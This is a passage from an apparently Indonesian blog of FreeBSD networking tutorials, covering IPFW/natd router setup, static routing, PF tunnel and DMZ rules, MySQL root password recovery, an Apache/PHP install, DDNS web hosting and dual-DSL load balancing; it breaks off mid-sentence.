/usr/src/sys/i386/conf<br /> #cp GENERIC ROUTER<br /> #ee ROUTER<br /> #Isikan Parameter2 di bawah ini<br /> #options IPDIVERT<br /> options IPFIREWALL<br /> options IPFIREWALL_VERBOSE<br /> options IPFIREWALL_FORWARD<br /> options DUMMYNET<br /> #lalu simpan<br /> * compile kernel anda :<br /> #config ROUTER<br /> #cd ../compile/ROUTER<br /> #make depend<br /> #make install<br /> * edit /etc/rc.conf<br /> #ee /etc/rc.conf<br /> tambahkan parameter berikut :<br /> defaultrouter=”202.124.20.17"<br /> gateway_enable=”YES”<br /> ifconfig_fxp0=”inet 202.124.20.23 netmask 255.255.255.240"<br /> ifconfig_fxp1=”inet 10.0.0.1 netmask 255.255.255.0"<br /> sshd_enable=”YES”<br /> natd_enable=”YES”<br /> named_enable=”YES”<br /> natd_interface=”fxp0"<br /> firewall_enable=”YES”<br /> firewall_quiet=”NO”<br /> firewall_script=”/etc/router.firewall”<br /> firewall_logging=”YES”<br /> inetd_enable=”YES”<br /> kern_securelevel_enable=”NO”<br /> #lalu simpan<br /> * edit/etc/resolv.conf<br /> #ee /etc/resolv.conf<br /> tambahkan parameter berikut :<br /> #nameserver 202.134.1.10 >>sesuaikan dengan dns isp anda & bisa diisi lebih dari satu nameserver<br /> #lalu simpan<br /> * edit /etc/router.firewall<br /> #ee /etc/router.firewall<br /> tambahkan paramater berikut :<br /> fwcmd=/sbin/ipfw$fwcmd add 00010 divert 8668 ip from any to any via fxp0<br /><br /> $fwcmd add 00020 allow ip from any to any via lo0<br /><br /> $fwcmd add 00030 deny ip from any to 127.0.0.0/8<br /><br /> $fwcmd add 00040 deny ip from 127.0.0.0/8 to any<br /><br /> $fwcmd add 50 allow ip from 10.0.0.2 to any<br /><br /> $fwcmd add 60 allow ip from any to 10.0.0.2<br /><br /> $fwcmd add 70 allow ip from 10.0.0.3 to any<br /><br /> $fwcmd add 80 allow ip from any to 10.0.0.3<br /><br /> $fwcmd add 90 allow ip from 10.0.0.4 to any<br /><br /> $fwcmd add 100 allow ip from any to 10.0.0.4<br /><br /> $fwcmd add 110 allow ip from 10.0.0.5 to any<br /><br /> $fwcmd add 120 allow ip from any to 10.0.0.5<br /><br /> $fwcmd add 35000 allow ip from me to any<br /><br /> $fwcmd add 35001 allow ip from any to me<br /><br /> #lalu simpan<br /> #Keterangan parameter diatas adalah :<br /> #fpx0 adalah external interface, yang menghubungkan router anda ke ISP<br /> #fxp1 adalah internal interface, yang menghubungkan router anda ke jaringanlokal<br /><br /> #file /etc/router.firewall adalah file yang berisi rule firewall di router anda, dan firewall diatas hanya contoh saja, anda bisa mengkonfigurasi sesuai kebutuhan anda<br /> #hanya mengijinkan blok ip 10.0.0.2-10.0.0.5 yang terhubung ke router<br /> * Setelah semuanya berakhir dan sesuai langkah2 diatas, maka reboot lah router anda<br /> * Setelah router anda up kembali coba tes koneksi di klient anda<br /> * Selesai<br /> 4. Kalo masih tetep blum bisa anda bisa berkonsultasi dengan saya via YM : sipiyuku@yahoo.com<br /><br />Demikian tutorial membangun router dengan freebsd kali ini, semoga dapat bermanfaat bagi anda yang masih pemula.<br /></span>

Membangun Router Sederhana di FreeBSD menggunakan IPFW

Bagi anda yang pemula di Dunia Networking mungkin belum mengetahui apa itu definisi ROUTER? Router Adalah Sebuah Sistem yang digunakan untuk...

Read more »

Static Routing FreeBSD dan rc.conf

Kebiasaan jelek nih. Lupa terus caranya naruh static routing di FreeBSD. Terutama ketika naruh static routing tersebut ke dalam konfigurasi /etc/rc.conf. Di FreeBSD, ternyata kita harus cukup hafal dengan setting di dalam file ini.<br /><br />Oke.. kenapa saya butuh static routing? Karena saya menemukan jaringan yang seperti ini:<br /><span class="fullpost"><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh82Uw464UXnVOxkbw36X2ug49zoL2U024hkgKGCF2GQ2PCc5PZEynEoAza1q5fH7f8VdCUxlgHb-wKnHdxWsihma0AvTO4w1UxlVgy9ycKwA2wnClofPcrNk2Ta5jDSSpOVeSxrpAR15VA/s1600-h/staticrouting.JPG"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5441633634972404146" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh82Uw464UXnVOxkbw36X2ug49zoL2U024hkgKGCF2GQ2PCc5PZEynEoAza1q5fH7f8VdCUxlgHb-wKnHdxWsihma0AvTO4w1UxlVgy9ycKwA2wnClofPcrNk2Ta5jDSSpOVeSxrpAR15VA/s400/staticrouting.JPG" style="cursor:pointer; cursor:hand;width: 400px; height: 286px;" /></a><br /><br />Yang dibutuhkan adalah semua host yang berada di LAN - A bisa terkoneksi dengan semua host yang berada di LAN - B dan sebaliknya. Maka pada Router FreeBSD 192.168.0.254/24 saya menjalankan perintah seperti ini (dengan privilege root):<br /><br /> shell# route add -net 172.16.0.0/24 10.0.0.2<br /><br /><br />Perintah di atas mengatakan bahwa agar semua host yang berada di LAN - B bisa dihubungi oleh semua host di LAN - A melalui gateway 10.0.0.2<br /><br />Hal yang sama kita lakukan dengan Router FreeBSD 172.16.0.254/24:<br /><br /> shell# route add -net 192.168.0.0/24 10.0.0.1<br /><br /><br />Yang menyatakan bahwa semua host di LAN - A bisa dihubungi oleh semua host yang berada di LAN - B melalui 10.0.0.1.<br /><br />Lalu agar setting tersebut bisa bertahan terhadap system reboot/restart, tambahkan baris berikut ini di /etc/rc.conf pada Router FreeBSD 192.168.0.254/24:<br /><br /> static_routes="LAN-B"<br /> route_LAN-B="-net 172.16.0.0/24 10.0.0.2"<br /><br /><br /><br />Dan pada /etc/rc.conf Router FreeBSD 172.16.0.254/24:<br /><br /> static_routes="LAN-A"<br /> route_LAN-A="-net 192.168.0.0/24 10.0.0.1"<br /></span>

Static Routing FreeBSD dan rc.conf

Kebiasaan jelek nih. Lupa terus caranya naruh static routing di FreeBSD. Terutama ketika naruh static routing tersebut ke dalam konfigurasi ...

Read more »

PF dan Tunnel GRE/IPIP

Salah seorang teman meminta tolong kepada saya untuk memperbolehkan melewatkan traffic tunnel dari kantornya Yogyakarta ke kantornya di Jakarta melalui server FreeBSD saya. Tunnel yang digunakan adalah GRE/IPIP. Itu berarti akan ada interface tambahan di server FreeBSD saya, yaitu interface gif. <br /><span class="fullpost"><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBzHuZaoQ0cLhP2elYyXLUWU18vjT5XusoL7K0m8mpUyZeqiKEZy_sk0U9lN9wJcG2WzrN9aYt1jE40s2d9Xrl1dNfTAhpfAIbFPvkGiMNilb3_ZPvIY_iWO8m_4cq6lReFxR7B_lqDxu9/s1600-h/tunnelIPIP.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5441632087217015266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBzHuZaoQ0cLhP2elYyXLUWU18vjT5XusoL7K0m8mpUyZeqiKEZy_sk0U9lN9wJcG2WzrN9aYt1jE40s2d9Xrl1dNfTAhpfAIbFPvkGiMNilb3_ZPvIY_iWO8m_4cq6lReFxR7B_lqDxu9/s400/tunnelIPIP.jpg" style="cursor:pointer; cursor:hand;width: 400px; height: 246px;" /></a><br /><br />Permasalahan<br /><br />Policy server FreeBSD saya adalah default block dengan menggunakan PF Firewall, yang tidak bisa mengallow atau memblock semua trafik yang melalui interface gif.<br /><br />Solusi<br /><br />Setelah semua rule block di PF, saya menambahkan baris berikut:<br /><br /><br /> block in log on $external_if from any to any<br /> block out log on $external_if from any to any<br /> ...<br /> ...<br /> ...<br /> (rule lainnya)<br /> ...<br /> ...<br /> pass quick proto ipencap all<br /> ...<br /> ...<br /> (rule lainnya)<br /> ...<br /><br /><br /><br />Dengan begitu semua trafik tunnel dapat lewat dengan lancar.<br /></span>

PF dan Tunnel GRE/IPIP

Salah seorang teman meminta tolong kepada saya untuk memperbolehkan melewatkan traffic tunnel dari kantornya Yogyakarta ke kantornya di Jaka...

Read more »

PF Rules Untuk DMZ

Latar Belakang<br /><br />Ada permintaan dari seorang teman untuk membantu setup DMZ di kantornya. Adapun ketentuannya adalah sebagai berikut:<br /><br /><br /> 1. Router utama yang menghadap ke internet memiliki 1 interface internal dan 2 interface external yang akan tersambung ke dua buah ISP yang berbeda, sehingga PF harus bisa melakukan load balance.<br /><br /> 2. Terdapat dua buah definisi tabel untuk koneksi LAN yaitu tabel lanA dan tabel lanB. Untuk tabel lanA, akan diarahkan ke ISP-A, sedangan tabel lanB akan diarahkan ke ISP-B.<br /><br /> 3. Jika ada host pada masing-masing tabel LAN berusaha terkoneksi ke class ip address yang dimiliki oleh salah satu ISP, maka host tersebut akan diarahkan langsung ke ISP yang bersangkutan. Misalkan tabel lanA yang seharusnya tersambung ke ISP-A, akan secara otomatis tersambung langsung ke ISP-B jika host tersebut mengadakan koneksi ke ip address yang dimiliki oleh ISP-B, begitu juga sebaliknya.<br /><span class="fullpost"><br /> 4. Daftar ip address untuk lanA dan lanB di muat dalam sebuah file, untuk mempermudah pengeditan.<br /><br /> 5. Rule PF adalah default block, dan hanya memperbolehkan port-port tertentu.<br /><br /> 6. Masing-masing interface dilakukan manajemen bandwidth dengan PRIQ dan HFSC.<br /><br /> 7. Queue FTP merupakan prioritas terbesar, disusul SSH, lalu yang lainnya.<br /><br /> 8. Untuk mengatasi masalah FTP yang melewati NAT, saya menggunakan cara yang sama dengan tulisan yang lalu.<br /><br /><br /><br />Untuk lebih jelasnya, berikut ini adalah gambar topologinya:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh9ooULZVOrIdD82t1VSmjcrZXZfRSxUoz-VaQUL0xR-v4nQsNsLfgpCViQbAGscS4WBLuzmGuayrSfhjLa2d1gyluueyaqznEURcve-QErRzEIqope0rckqvHVkLhPERIkR-lRPqYT3bb/s1600-h/topology.JPG"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5441631312544157218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh9ooULZVOrIdD82t1VSmjcrZXZfRSxUoz-VaQUL0xR-v4nQsNsLfgpCViQbAGscS4WBLuzmGuayrSfhjLa2d1gyluueyaqznEURcve-QErRzEIqope0rckqvHVkLhPERIkR-lRPqYT3bb/s320/topology.JPG" style="cursor:pointer; cursor:hand;width: 320px; height: 228px;" /></a><br /></span>

PF Rules Untuk DMZ

Latar Belakang Ada permintaan dari seorang teman untuk membantu setup DMZ di kantornya. Adapun ketentuannya adalah sebagai berikut: 1. Ro...

Read more »

Lupa Password Root MySQL

Karena sudah lama tidak menggunakan server MySQL yang ada di kantor, ketika hendak menggunakannya untuk aplikasi baru, passwordnya malah lupa. Terpaksa browsing-browsing dulu untuk mencari caranya. Dulu sih sudah pernah diajarin sama temen. Jadi supaya tidak lupa lagi, saya tuliskan saja di sini langkah-langkahnya<br /><span class="fullpost"><br />Asumsi<br /> 1. Server yang saya gunakan adalah FreeBSD-6.2 Stable. Tapi saya pikir langkah-langkah di bawah ini tidak OS dependence. Jadi bisa dilakukan di semua OS.<br /><br /> 2. Server yang saya recover passwordnya adalah bukan server produksi. Jadi kalo misalnya ada yang menggunakan langkah ini untuk server produksi, saya tidak bertanggung jawab atas SP-3 yang muncul kemudian. :-P<br /><br /><br /><br />Langkah-langkah<br /><br /><br /> 1. Matikan proses server MySQL. Ada banyak cara di sini. Yang pertama bisa dengan mematikan melalui perintah "kill -<pid mysql>". Atau melalui perintah "/etc/rc.d/mysql-server stop". Yang penting proses server MySQL tersebut mati.<br /><br /> 2. Jalankan mysqld_safe dengan option sebagai berikut:<br /><br /><br /> root# mysqld_safe --skip-grant-tables &<br /><br /><br /> Setelah itu masuk ke server MySQL:<br /><br /><br /> root# mysql -u root<br /><br /> Welcome to the MySQL monitor. Commands end with ; or \g.<br /> Your MySQL connection id is 14<br /> Server version: 5.0.51 FreeBSD port: mysql-server-5.0.51<br /><br /> Type 'help;' or '\h' for help. Type '\c' to clear the buffer.<br /><br /> mysql><br /><br /><br /> Secara otomatis kita akan masuk ke account root MySQL tanpa harus mengisikan password.<br /><br /> 3. Setelah masuk ke console/prompt MySQL, kita jalankan perintah-perintah ini:<br /><br /><br /> mysql> use mysql;<br /> mysql> update user set password=PASSWORD("PASSWORD-ROOT-YANG-BARU-DI SINI") where User='root';<br /> mysql> flush privileges;<br /> mysql> quit<br /><br /><br /> 4. Setelah itu matikan kembali proses server MySQL yang sekarang, lalu restart proses MySQL dengan normal. Untuk setup di server saya, caranya adalah:<br /><br /><br /> root# /etc/rc.d/mysql-server start<br /></span>

Lupa Password Root MySQL

Karena sudah lama tidak menggunakan server MySQL yang ada di kantor, ketika hendak menggunakannya untuk aplikasi baru, passwordnya malah lup...

Read more »

FreeBSD, Apache, MySQL dan PHP

Gara-gara sering menginstall FreeBSD dengan Apache, MySQL dan PHP dari source, saya mendapatkan kesulitan ketika saya ingin menginstall dari port collection FreeBSD. Pertimbangan saya adalah untuk kemudahan maintenance, update, upgrade, dan kemudahan-kemudahan lain yang saya perlukan ketika saya ingin menginstall sesuatu dari port collection yang notabene aplikasi Web based.<br /><span class="fullpost"><br />Pada dasarnya instalasinya hanya melibatkan 4 port saja yaitu:<br /><br /> /usr/ports/databases/mysql50-server/<br /> /usr/ports/www/apache22/<br /> /usr/ports/lang/php5/<br /> /usr/ports/lang/php5-extensions/<br /><br /><br /><br />Sedangkan beberapa langkah tambahannya adalah:<br /><br /><br /> * mengedit file /usr/local/etc/apache22/httpd.conf untuk menambahkan baris:<br /> AddType application/x-httpd-php .php<br /> AddType application/x-httpd-php-source .phps<br /> Lalu untuk parameter DirectoryIndex saya tambahkan index.php disebelah index.html, tanpa tanda koma.<br /><br /> * Menyalin file /usr/local/etc/php.ini-recommended ke /usr/local/etc/php.ini.<br /><br /><br /><br />Tetapi pada saat saya menjalankan perintah /usr/local/sbin/apachectl start saya mendapatkan error message seperti ini:<br /><br /><br /> httpd: Syntax error on line 104 of /usr/local/etc/apache22/httpd.conf: Cannot load /usr/local/libexec/apache22/libphp5.so into server: /usr/local/lib/compat/pkg/libmysqlclient.so.14: version libmysqlclient_14 required by /usr/local/libexec/apache22/libphp5.so not found<br /><br /><br /><br />Ternyata permasalahannya adalah pada saat saya menginstall PHP, saya tidak menjalankan make config untuk memberi tanda centang "Build Apache Module". Lalu saya ulangi lagi instalasi PHP dengan terlebih dahulu menjalankan perintah make config yang akan menampilkan menu. Lalu kita centang bagian "Build Apache Module":<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4flFIT8cWAtOceVaRGyP8cgHhAK0yGVuhK7P7qo23KKzSlgYPILeoMalgBe-N87X7K9wEYTFVdMPMhKRTNnS0M33otHkSSLEsGZoOB5OFNyLrOcO7oApyqT8Jeumvj_bnVgjtES9Ms7dv/s1600-h/bamp01.JPG"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5441626804806735618" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4flFIT8cWAtOceVaRGyP8cgHhAK0yGVuhK7P7qo23KKzSlgYPILeoMalgBe-N87X7K9wEYTFVdMPMhKRTNnS0M33otHkSSLEsGZoOB5OFNyLrOcO7oApyqT8Jeumvj_bnVgjtES9Ms7dv/s200/bamp01.JPG" style="cursor:pointer; cursor:hand;width: 200px; height: 124px;" /></a><br /><br />Dan tidak lupa pada saat instalasi php5-extensions dengan perintah make config saya tandai opsi "MySQL database support":<br /><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5T8KlSPiHbaIjb92JGgA3_fAgtC_mmD9k0BhL9eav9OpDj-9b-lyDyIsW_0zK85nzNRQcod2-23_GCQn19qKZhEse1WVvuKvBryI9kRWTgLmaKJ9k6W5tDtqq6CtIHKf5lkVwfnQFcQJX/s1600-h/bamp02.JPG"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5441627278388045170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5T8KlSPiHbaIjb92JGgA3_fAgtC_mmD9k0BhL9eav9OpDj-9b-lyDyIsW_0zK85nzNRQcod2-23_GCQn19qKZhEse1WVvuKvBryI9kRWTgLmaKJ9k6W5tDtqq6CtIHKf5lkVwfnQFcQJX/s200/bamp02.JPG" style="cursor:pointer; cursor:hand;width: 200px; height: 122px;" /></a><br /></span>

FreeBSD, Apache, MySQL dan PHP

Gara-gara sering menginstall FreeBSD dengan Apache, MySQL dan PHP dari source, saya mendapatkan kesulitan ketika saya ingin menginstall dari...

Read more »

Membuat Web Server Menggunakan Koneksi Speedy

awalnya tidak terpikir untuk membuat web server seperti apache berjalan dengan menggunakan koneksi speedy namun karena kebutuhan yang mendadak dan tiba-tiba karena ada seorang teman yang minta di baikin sofware nya dan perlu remoting via VNC karena rumah kita terhalang laut dan gunung akhirnya yah coba sedikit ngoprek. seperti kita ketahui pada umumnya speedy menggunakan memiliki karakter dhcp (ip address yang berubah-ubah atau dinamis) oke step by step<br /><span class="fullpost"><br /> 1. pastikan kamu telah terkoneksi dengan speedy klo tidak ya harus berlangganan kalo memang belum ada dana ya pinjam lah koneksi speedy teman :)<br /> 2. cek modem speedy yang kamu gunakan mereknya apa, apakah memiliki fasilitas DMZ (Demilitarized Zone), configurasi DDNS? untuk beberapa merek seperti kasus yang pernah saya alami dengan modem linksys AM300 tidak berhasil dan akhirnya dengan melakukan update firmware baru berhasil<br /> 3. Saya asumsikan anda telah terkoneksi dan telah mendapat ip dinamis dari speedy lihat pada modem status speedy, masuk ke browoser favorit anda panggil om google :) tanyain ip address anda caranya di kotak pencarian google ketik my ip nah dan bila muncul result-nya ambil saja result pencarian kedua, klik kanan pilih opsi open in new tab (klo di mozilla) sebenarnya dengan melihat modem status, kamu dah lihat ip kamu, biasanya 202.xxx.xxx.xxx dan seterusnya.<br /> 4. Instal web server bila di windows install Appserp, XAMP, atau phptriad saya lebih suka menggunakan Appserv klo di microsuck windows kalo di linux biasa apache bila belum ter install ketik apt-get install apache.<br /> 5. bila step-step diatas telah dijalankan sekarang coba anda membuat account di dynamic dns recomended sih https://www.dyndns.com/ klik create account. Register di situ FREE kenapa mesti register di situ sih ? tentunya kita tidak ingin selalu menuliskan ip address di browser kan makanya register di dynamic dns (https://www.dyndns.com/) oke klo ngetik ip terus kan cape dech :(. pada saat login di dyndns di situ ada pilihan my host >> klik add new host isi saja nama host kamu cari yang unix dan gampang kamu ingat oke, karena ini free maka ada tambahan di belakang nama host yang kamu buat seperti xxxx.ath.cx xxx.000free.com dan lain-lain. untuk langkah awal ini opsi lainnya biarkan saja kecuali kotak ip address nah ini termasuk bagian penting Use auto detected IP address 202.xxx.xxx.xx klik tulisan tersebut secara otomatis ip anda akan masuk kedam field IP, tekan tombol create host<br /> 6. selanjutnya pada browser anda masuk ke dalam web interface untuk modem karena hampir semua modem speedy memiliki konfigurasi via web dan biasanya alamat defaultnya 192.168.1.1 cari opsi untuk ddns masukan informasi seperti yang kita register di dydns tadi kemudian simpan konfigurasinya, selesai. ternyata belum, kenapa harus demikian karena ketika modem di matikan atau restart biasanya ip-nya akan berubah oleh karena itu modem perlu tau account kamu di dydns untuk memberi tahu ip terbaru kamu biasanya di modem pada opsi ddns akan ada tulisan update ddns was succesuppuly.<br /> 7. coba buka browser kamu dan ketik nama host yang telah kita buat di dydns tadi ups ..!! ternyata yang nongol kok login ke modem? jawabannya itulah gunananya fasilitas DMZ (Demilitarized Zone) yang ada di modem speedy juga biasanya ada di Akses Point, yang jelas saat ini orang sedunia bisa liat isi modem kamu, yang kita inginkan kan web server bukan modem server :) cari opsi untuk DMZ di modem speedy kamu di situ ada field untuk memasukkan ip isi dengan ip lokal komputer kita yang terhubung dengan modem, klo tidak tahu ip lokal kita caranya di windows klik control panel >> network connection >> pilih local area (yang nyambung dgn modem) klik kanan pilih status klik tab support di situ terlihat ip network local kita yang terkoneksi dengan modem speedy, klo di linux di terminal ketik sudo ifconfig eth0 (untuk ubuntu),/sbin/ifconfig eth0 untuk fedora bila terlihat ip isikan pada field DMZ. DMZ akan melakukan redirect ke ip tersebut bila ada yang melakukan request dari luar.<br /></span>

Membuat Web Server Menggunakan Koneksi Speedy

awalnya tidak terpikir untuk membuat web server seperti apache berjalan dengan menggunakan koneksi speedy namun karena kebutuhan yang mendad...

Read more »

Konfigurasi Statik Routing pada FreeBSD

Untuk konfigurasi static routing pada FreeBSD anda dapat melakukan dengan mengedit file /etc/rc.conf<br /><br /># nano /etc/rc.conf<br /><br />Set IP default router nya misalnya 10.234.1.1:<br />Buat static routing untuk beberapa network jika jaringan anda memang terdiri dari beberapa network misalnya<br /><br />network1 192.168.1.0/24 dengan gateway 192.168.1.254<br />network2 192.168.2.0/24 dengan gateway 192.168.1.254<br />network3 10.234.2.0/24 dengan gateway 10.234.1.253<br />network4 10.234.3.0/24 dengan gateway 10.234.1.253<br /><span class="fullpost"><br />lakukan penambahan pada file /etc/rc.conf<br /><br />defaultrouter=”10.234.1.1″<br />#STATIC ROUTING TABLE<br />static_routes=”network1 network2 network3 network4″<br />route_network1=”-net 192.168.1.0/24 192.168.1.254″<br />route_network2=”-net 192.168.2.0/24 192.168.1.254″<br />route_network3=”-net 10.234.2.0/24 10.234.1.253″<br />route_network4=”-net 10.234.3.0/24 10.234.1.253″<br /><br />Kemudian restart service networking pada FreeBSD service untuk mengupdate informasi routing :<br /># /etc/rc.d/netif restart<br />Untuk melihat tabel routing , enter:<br /># netstat -r<br /># netstat -nr<br /><br />selamat mencoba<br /></span>

Konfigurasi Statik Routing pada FreeBSD

Untuk konfigurasi static routing pada FreeBSD anda dapat melakukan dengan mengedit file /etc/rc.conf # nano /etc/rc.conf Set IP default rout...

Read more »

Load Balancing 2 Line Speedy dengan FreeBSD

Load Balancing 2 Line Speedy ini menggunakan paket office unlimitted.Kedua Modem di set sebagai Bridge.<br /><br />Teori Singkat<br />Banyak pertanyaan dari teman-teman, terutama para operator warnet, admin jaringan sekolah/kampus dan korporasi tentang load balancing<br /><br />dua atau lebih koneksi internet. Cara praktikal sebenarnya banyak dijumpai jika kita cari di internet, namun banyak yang merasa kesulitan pada saat diintegrasikan. Penyebab utamanya adalah karena kurang mengerti konsep jaringan, baik di layer 2 atau di layer 3 protokol TCP/IP. Dan umumnya dual koneksi, atau multihome lebih banyak diimplementasikan dalam protokol BGP. Protokol routing kelas ISP ke atas, bukan protokol yang dioprek-oprek di warnet atau jaringan kecil.<br /><span class="fullpost"><br />Berikut beberapa konsep dasar yang sering memusingkan:<br /><br />1. Unicast<br />Protokol dalam trafik internet yang terbanyak adalah TCP, sebuah komunikasi antar host di internet (praktiknya adalah client-server, misal<br /><br />browser anda adalah client maka google adalah server). Trafik ini bersifat dua arah, client melakukan inisiasi koneksi dan server akan<br /><br />membalas inisiasi koneksi tersebut, dan terjadilah TCP session (SYN dan ACK).<br /><br />2. Destination-address<br />Dalam jaringan IP kita mengenal router, sebuah persimpangan antara network address dengan network address yang lainnya. Makin menjauh<br />dari pengguna persimpangan itu sangat banyak, router-lah yang mengatur semua trafik tersebut. Jika dianalogikan dengan persimpangan di jalan, maka rambu penunjuk jalan adalah routing table. Penunjuk jalan atau routing table mengabaikan “anda datang dari mana”, cukup dengan “anda mau ke mana” dan anda akan diarahkan ke jalan tepat. Karena konsep inilah saat kita memasang table routing cukup dengan dua parameter, yaitu network address dan gateway saja.<br /><br />3. Source-address<br />Source-address adalah alamat IP kita saat melakukan koneksi, saat paket menuju ke internet paket akan melewati router-router ISP, upstream provider, backbone internet dst hingga sampai ke tujuan (SYN). Selanjutnya server akan membalas koneksi (ACK) sebaliknya hingga kembali ke komputer kita. Saat server membalas koneksi namun ada gangguan saat menuju network kita (atau ISPnya) maka komputer kita sama sekali tidak akan mendeteksi adanya koneksi. Seolah-olah putus total, walaupun kemungkinan besar putusnya koneksi hanya satu arah.<br /><br />4. Default gateway<br />Saat sebuah router mempunyai beberapa interface (seperti persimpangan, ada simpang tiga, simpang empat dan simpang lima) maka tabel routing otomatis akan bertambah, namun default router atau default gateway hanya bisa satu. Fungsinya adalah mengarahkan paket ke network address yang tidak ada dalam tabel routing (network address 0.0.0.0/0).<br /><br />5. Dua koneksi<br />Permasalahan umumnya muncul di sini, saat sebuah router mempunyai dua koneksi ke internet (sama atau berbeda ISP-nya). Default gateway<br /><br />di router tetap hanya bisa satu, ditambah pun yang bekerja tetap hanya satu. Jadi misal router NAT anda terhubung ke ISP A melalui interface A dan gateway A dan ke ISP B melalui interface B dan gateway B, dan default gateway ke ISP A, maka trafik downlink hanya akan datang dari ISP A saja. Begitu juga sebaliknya jika dipasang default gateway ke ISP B.<br /><br />Bagaimana menyelesaikan permasalahan tersebut?<br />Konsep utamanya adalah source-address routing. Source-address routing ibaratnya anda dicegat di persimpangan oleh polisi dan polisi<br />menanyakan “anda dari mana?” dan anda akan ditunjukkan ke jalur yang tepat.<br /><br />Pada router NAT (atau router pada umumnya), source-address secara default tidak dibaca, tidak dipertimbangkan. Jadi pada kasus di atas<br />karena default gateway ke ISP A maka NAT akan meneruskan paket sebagai paket yang pergi dari IP address interface A (yang otomatis akan mendapat downlink dari ISP A ke interface A dan diteruskan ke jaringan dalam).<br /><br />Dalam jaringan yang lebih besar (bukan NAT), source-address yang melewati network lain disebut sebagai transit (di-handle dengan protokol BGP oleh ISP). Contoh praktis misalnya anda membeli bandwidth yang turun dari satelit melalui DVB, namun koneksi uplink menggunakan jalur terestrial (dial-up, leased-line atau fixed-wireless). Dalam kasus ini paket inisiasi koneksi harus menjadi source-address network downlink DVB,agar bandwidth downlink dari internet mengarah DVB receiver, bukan ke jalur terestrial.<br /><br />Di lingkungan Linux, pengaturan source-address bisa dilakukan oleh iproute2. Iproute2 akan bekerja sebelum diteruskan ke table routing. Misal kita mengatur dua segmen LAN internal agar satu segmen menjadi source-address A dan satu segmen lainnya menjadi source-address B, agar kedua koneksi ke ISP terutilisasi bersamaan.<br /><br />Penerapan utilisasi dua koneksi tersebut bisa mengambil tiga konsep, yaitu round-robin, loadbalance atau failover.<br /><br />6. Round-robin<br />Misalkan anda mempunyai tiga koneksi internet di satu router NAT, koneksi pertama di sebut Batman, koneksi kedua disebut Baskin dan<br />koneksi ketiga disebut Williams, maka konsep round-robin adalah sang Robin akan selalu berpindah-pindah secara berurutan mengambil<br />source-address (bukan random). Misal ada satu TCP session dari komputer di jaringan internal, maka koneksi TCP tersebut tetap di<br />source-address pertama hingga sesi TCP selesai (menjadi Batman & Robin). Saat TCP session Batman & Robin tersebut belum selesai, ada ada request koneksi baru dari jaringan, maka sang Robin akan mengambil source-address koneksi berikutnya, menjadi Baskin & Robin. Dan seterusnya sang Robin akan me-round-round setiap koneksi tanpa memperhatikan penuh atau tidaknya salah satu koneksi.<br /><br />Pasti anda sedang pusing membaca kalimat di atas, atau sedang tertawa terbahak-bahak.<br /><br />7. Loadbalance<br />Konsep loadbalance mirip dengan konsep round-robin di atas, hanya saja sang Robin dipaksa melihat utilisasi ketiga koneksi tersebut di atas.<br />Misalkan koneksi Batman & Robin serta Baskin & Robin sudah penuh, maka koneksi yang dipilih yang lebih kosong, dan koneksi yang diambil menjadi Robin Williams. Request koneksi berikutnya kembali sang Robin harus melihat dulu utilisasi koneksi yang ada, apakah ia harus menjadi Batman & Robin, Baskin & Robin atau Robin Williams, agar semua utilisasi koneksi seimbang, balance.<br /><br />8. Failover<br />Konsep fail-over bisa disebut sebagai backup otomatis. Misalkan kapasitas link terbesar adalah link Batman, dan link Baskin lebih kecil. Kedua koneksi tersebut terpasang online, namun koneksi tetap di satu link Batman & Robin, sehingga pada saat link Batman jatuh koneksi akan berpindah otomatis ke link Baskin, menjadi Baskin & Robin hingga link Batman up kembali.<br /><br />*makan es krim Haagendaz dulu*<br /><br />Tools NAT yang mempunyai ketiga fitur di atas adalah Packet Firewall (PF) di lingkungan BSD, disebut dengan nat pool. Saya belum<br />menemukan implementasi yang bagus (dan cukup mudah) di Linux dengan iproute2.<br /><br />*Uraian panjang di atas hanyalah kata sambutan sodara-sodara…*<br /><br />Berikut contoh implementasi load balance dua koneksi sesuai judul di atas. Dijalankan di mesin FreeBSD sebagai NAT router dengan dua<br />koneksi DSL Telkom, interface ethernet vr0 dan rl1.<br /><br />Script koneksi DSL Speedy, speedy1 untuk koneksi pertama dan speedy2 untuk koneksi kedua. Sesuaikan interface, username dan<br />passwordnya. Jangan lupa, gunakan indent tab.<br /><br /># /etc/ppp/ppp.conf<br />#################################################################<br /># PPP Sample Configuration File<br /># Originally written by Toshiharu OHNO<br /># Simplified 5/14/1999 by wself@cdrom.com<br />#<br /># See /usr/share/examples/ppp/ for some examples<br />#<br /># $FreeBSD: src/etc/ppp/ppp.conf,v 1.10 2004/11/19 17:12:56 obrien Exp $<br />#################################################################<br /><br />default:<br />speedy1:<br />set device PPPoE:vr0<br />set speed sync<br />set mru 1492<br />set mtu 1492<br />set ctsrts off<br />enable lqr<br />set log phase tun<br />add default HISADDR<br />enable dns<br />set authname 11140xxx@telkom.net<br />set authkey xxx<br /><br />speedy2:<br />set device PPPoE:rl1<br />set speed sync<br />set mru 1492<br />set mtu 1492<br />set ctsrts off<br />enable lqr<br />set log phase tun<br />add default HISADDR<br />enable dns<br />set authname 11140xxx@telkom.net<br />set authkey xxx<br /><br />Aktifkan interface vr0 dan rl1<br /><br /># ifconfig vr0 up<br /># ifconfig rl1 up<br /><br />Jalankan PPPoE, Point to Point Protocol 